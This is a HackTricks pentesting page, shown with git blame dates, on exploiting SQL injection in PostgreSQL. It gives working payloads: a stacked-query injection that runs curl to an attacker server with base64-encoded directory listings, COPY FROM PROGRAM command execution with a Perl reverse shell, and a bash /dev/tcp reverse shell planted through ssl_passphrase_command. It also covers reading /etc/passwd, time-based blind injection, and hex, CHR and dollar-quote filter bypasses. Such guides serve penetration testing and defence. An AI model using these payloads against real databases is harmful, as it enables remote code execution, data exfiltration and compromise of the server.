hacktricks/pentesting-web/sql-injection/postgresql-injection/README.md

206 lines
12 KiB
Markdown
Raw Normal View History

2022-05-07 13:38:40 +00:00
# PostgreSQL injection
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
2022-09-13 01:22:41 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
2022-04-28 16:01:33 +00:00
</details>
2022-07-21 20:26:09 +00:00
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">\
2022-04-30 20:31:18 +00:00
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-05-08 22:42:39 +00:00
2022-09-06 14:45:58 +00:00
***
2022-04-05 22:24:52 +00:00
**This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
2022-05-07 13:38:40 +00:00
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
**`dblink`** is a **PostgreSQL module** that offers several interesting options from the attacker point of view. It can be used to **connect to other PostgreSQL instances** of perform **TCP connections**.\
**These functionalities** along with the **`COPY FROM`** functionality can be used to **escalate privileges**, perform **port scanning** or grab **NTLM challenge responses**.\
2022-04-05 22:24:52 +00:00
[**You can read here how to perform these attacked.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)
2022-05-07 13:38:40 +00:00
### **Exfiltration example using dblink and large objects**
2022-09-06 14:45:58 +00:00
You can [**read this example**](dblink-lo\_import-data-exfiltration.md) to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function `dblink_connect`.
2022-05-07 13:38:40 +00:00
## PL/pgSQL password bruteforce
PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language.\
2022-04-05 22:24:52 +00:00
**You can abuse this language in order to ask PostgreSQL to brute-force the users credentials.** [**Read this to learn how.**](pl-pgsql-password-bruteforce.md)
2022-05-07 13:38:40 +00:00
## File-system actions
2022-05-07 13:38:40 +00:00
### Read directories and files
From this [commit ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the `DEFAULT_ROLE_READ_SERVER_FILES` group and super users can use these methods on any path (check out `convert_and_check_filename` in `genfile.c`).:
```sql
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd' , 0 , 1000000);
```
2022-05-07 13:38:40 +00:00
### Simple File Writing
```bash
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.\
A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.**
2022-05-07 13:38:40 +00:00
### **Binary files upload**
However, there are **other techniques to upload big binary files**.\
2022-04-05 22:24:52 +00:00
[**Read this page to learn how to do it.**](big-binary-files-upload-postgresql.md)
2022-05-07 13:38:40 +00:00
## RCE
2022-09-13 01:22:41 +00:00
### **RCE to program**
Example of RCE query with exfiltration
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
2022-05-07 13:38:40 +00:00
### **RCE from version 9.3**
2021-11-30 16:46:07 +00:00
Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), new functionality for '[COPY TO/FROM PROGRAM](https://paquier.xyz/postgresql-2/postgres-9-3-feature-highlight-copy-tofrom-program/)' was implemented. This allows the database superuser, and any user in the pg\_execute\_server\_program group to run arbitrary operating system commands.
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\
More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
2022-05-07 13:38:40 +00:00
### RCE with PostgreSQL extensions
Once you have **learned** from the previous post **how to upload binary files** you could try obtain **RCE uploading a postgresql extension and loading it**.\
2022-04-05 22:24:52 +00:00
[**Lear how to abuse this functionality reading this post.**](rce-with-postgresql-extensions.md)
2022-05-07 13:38:40 +00:00
### PostgreSQL configuration file RCE
The **configuration file** of postgresql is **writable** by the **postgres user** which is the one running the database, so as **superuser** you can write files in the filesystem, and therefore you can **overwrite this file.**
![](<../../../.gitbook/assets/image (303).png>)
The configuration file have some interesting attributes that can lead to RCE:
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Path to the private key of the database
* `ssl_passphrase_command = ''` If the private file is protected by password (encrypted) postgresql will **execute the command indicated in this attribute**.
* `ssl_passphrase_command_supports_reload = off` **If** this attribute is **on** the **command** executed if the key is protected by password **will be executed** when `pg_reload_conf()` is **executed**.
Then, an attacker will need to:
1. **Dump private key** from the server
2. **Encrypt** downloaded private key:
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
2022-04-05 22:24:52 +00:00
3. **Overwrite**
4. **Dump** the current postgresql **configuration**
5. **Overwrite** the **configuration** with the mentioned attributes configuration:
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
2. `ssl_passphrase_command_supports_reload = on`
6. Execute `pg_reload_conf()`
While testing this I noticed that this will only work if the **private key file has privileges 640**, it's **owned by root** and by the **group ssl-cert or postgres** (so the postgres user can read it), and is placed in _/var/lib/postgresql/12/main_.
**More** [**information about this technique here**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.**
2022-05-07 13:38:40 +00:00
## WAF bypass
2022-05-07 13:38:40 +00:00
### PostgreSQL String functions
Manipulating strings could help you to **bypass WAFs or other restrictions**.\
[**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.**
2022-05-07 13:38:40 +00:00
### Stacked Queries
Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
```
2022-05-07 13:38:40 +00:00
### XML tricks
2022-04-30 20:31:18 +00:00
**query\_to\_xml**
This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row:
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
2022-04-30 20:31:18 +00:00
**database\_to\_xml**
This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client):
```sql
SELECT database_to_xml(true,true,'');
```
2022-09-06 14:45:58 +00:00
### Strings in Hex
If you can run **queries** passing them **inside a string** (for example using the **`query_to_xml`** function). **You can use the convert\_from to pass the string as hex and bypass filters this way:**
{% code overflow="wrap" %}
```sql
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
2022-09-07 10:39:00 +00:00
';select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -
2022-09-06 14:45:58 +00:00
```
{% endcode %}
2022-05-07 13:38:40 +00:00
### Forbidden quotes
If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses (_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_):
```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```
Or with `$`. This queries return the same results:
```
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
2022-04-28 16:01:33 +00:00
2022-07-21 20:26:09 +00:00
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">\
2022-05-08 22:42:39 +00:00
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
2022-09-13 01:22:41 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
2022-04-28 16:01:33 +00:00
</details>